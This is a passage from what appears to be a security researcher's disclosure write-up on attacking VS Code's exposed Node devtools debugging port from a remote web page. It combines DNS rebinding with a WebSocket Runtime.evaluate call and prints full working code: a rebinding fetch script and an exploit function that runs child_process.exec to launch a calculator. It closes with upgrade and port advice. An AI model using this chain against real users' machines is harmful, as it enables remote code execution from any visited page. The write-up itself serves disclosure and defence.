To weaponize this, we need to interact with devtools protocol from a remote web page. The protocol is based on HTTP and WebSocket. Check out the spec here:

First, get the session id from http://127.0.0.1:9333/json/list



* Trying ::1...

* TCP_NODELAY set

* Connection failed

* connect to ::1 port 9333 failed: Connection refused

* Trying 127.0.0.1...

* TCP_NODELAY set

* Connected to localhost (127.0.0.1) port 9333 (#0)

> GET /json HTTP/1.1

> Host: dns.rebind

> User-Agent: curl/7.54.0

> Accept: */*

>

* HTTP 1.0, assume close after body

< HTTP/1.0 200 OK

< Content-Type: application/json; charset=UTF-8

< Cache-Control: no-cache

< Content-Length: 649

<

[ {

"description": "node.js instance",

"devtoolsFrontendUrl": "chrome-devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:9333/c5408ce2-6f06-4a7e-a950-395d95c6804f",

"faviconUrl": "

"id": "c5408ce2-6f06-4a7e-a950-395d95c6804f",

"title": "/private/var/folders/4d/1_vz_55x0mn_w1cyjwr9w42c0000gn/T/AppTranslocation/EE69BB42-2A16-45F3-BB98-F6639CB594B1/d/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper",

"type": "node",

"url": "file://",

"webSocketDebuggerUrl": "ws://127.0.0.1:9333/c5408ce2-6f06-4a7e-a950-395d95c6804f"

} ] ➜ ~ curl -v localhost:9333/json -H "Host: dns.rebind"* Trying ::1...* TCP_NODELAY set* Connection failed* connect to ::1 port 9333 failed: Connection refused* Trying 127.0.0.1...* TCP_NODELAY set* Connected to localhost (127.0.0.1) port 9333 (#0)> GET /json HTTP/1.1> Host: dns.rebind> User-Agent: curl/7.54.0> Accept: */** HTTP 1.0, assume close after body< HTTP/1.0 200 OK< Content-Type: application/json; charset=UTF-8< Cache-Control: no-cache< Content-Length: 649[ {"description": "node.js instance","devtoolsFrontendUrl": "chrome-devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:9333/c5408ce2-6f06-4a7e-a950-395d95c6804f","faviconUrl": " https://nodejs.org/static/favicon.ico ","id": "c5408ce2-6f06-4a7e-a950-395d95c6804f","title": "/private/var/folders/4d/1_vz_55x0mn_w1cyjwr9w42c0000gn/T/AppTranslocation/EE69BB42-2A16-45F3-BB98-F6639CB594B1/d/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper","type": "node","url": "file://","webSocketDebuggerUrl": "ws://127.0.0.1:9333/c5408ce2-6f06-4a7e-a950-395d95c6804f"} ] * Closing connection 0

See the webSocketDebuggerUrl ? That’s all we need to attach the debugger.

It’s a problem to fetch response from cross origin webpage. Tavis Ormandy has already shown some cases through dns-rebinding: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=dns+rebinding&colspec=ID+Type+Status+Priority+Milestone+Owner+Summary&cells=ids

A case shows that a local port can be access from remote web page

So an attacker needs to setup a DNS server to alternatively resolve an evil domain between 127.0.0.1 and the actual web content ip address, with a short TTL. First the browser access the evil page, then wait for a timeout for the browser to invalidate the previous dns record, so we can bypass same origin policy to read from evil.com:9333/json/list, which is actually from localhost.

For those who are interested in DNS rebinding, check these out:

Some people asked how long does it take to alter the DNS to 127.0.0.1. During my experiment, I borrow the dns server from https://lock.cmpxchg8b.com/rebinder.html and set a 120s script timeout before XMLHttpRequest / fetch, and it just worked.

function log(msg) {

const pre = document.createElement('pre');

pre.appendChild(document.createTextNode(msg));

document.body.appendChild(pre);

} const interval = 120 * 1000;

async function main() {

let list;

try {

list = await fetch('/json').then(r => r.json());

} catch(e) {

// retry

log('retry');

return setTimeout(main, interval);

} const item = list.find(item => item.url.indexOf('file:///') === 0);

if (!item) return log('invalid response');

log('url:' + item.webSocketDebuggerUrl);

// exploit(url);

} main()

Now talk to the WebSocket server to inject second stage payload.

WebSocket supports cross domain unless the server explicitly checks Origin: header upon connection. So communicating with webSocketDebuggerUrl does not require any additional dns trick, except https:// page can’t connect to ws:// . Then call method Runtime.evaluate to inject script.

Assume the WebSocket server url is ws://127.0.0.1:9333/c21b0fe3-96a5-4fbc-9687-5e6c8c91a3e7 , run the following script in any (non-https) webpage to see a calculator:

function exploit(url) {

function nodejs() {

const cmd = {

darwin: 'open /Applications/Calculator.app',

win32: 'calc',

linux: 'xcalc',

};

process.mainModule.require('child_process').exec(

cmd[process.platform])

}; const packet = {

"id": 13371337,

"method": "Runtime.evaluate",

"params": {

"expression": `(${nodejs})()`,

"objectGroup": "console",

"includeCommandLineAPI": true,

"silent": false,

"contextId": 1,

"returnByValue": false,

"generatePreview": true,

"userGesture": true,

"awaitPromise": false

}

}; const ws = new WebSocket();

ws.onopen = () => ws.send(JSON.stringify(packet));

ws.onmessage = ({ data }) => {

if (JSON.parse(data).id === 13371337)

ws.close()

};

ws.onerror = err => console.error('failed to connect');

}

exploit(' ws://127.0.0.1:9333/c21b0fe3-96a5-4fbc-9687-5e6c8c91a3e7 ')

Compared to the recent Electron bug, the later requires user interaction and only affects Windows. If you are on these versions, just upgrade. Anyways, the debugging utility will still be enabled if you manually launch VSCode command with --inspect=[port] . Better use an alternative random port than 9333 to avoid potential exploit.

P.S.

For any electron based desktop app, there’s a --remote-debugging-port switch.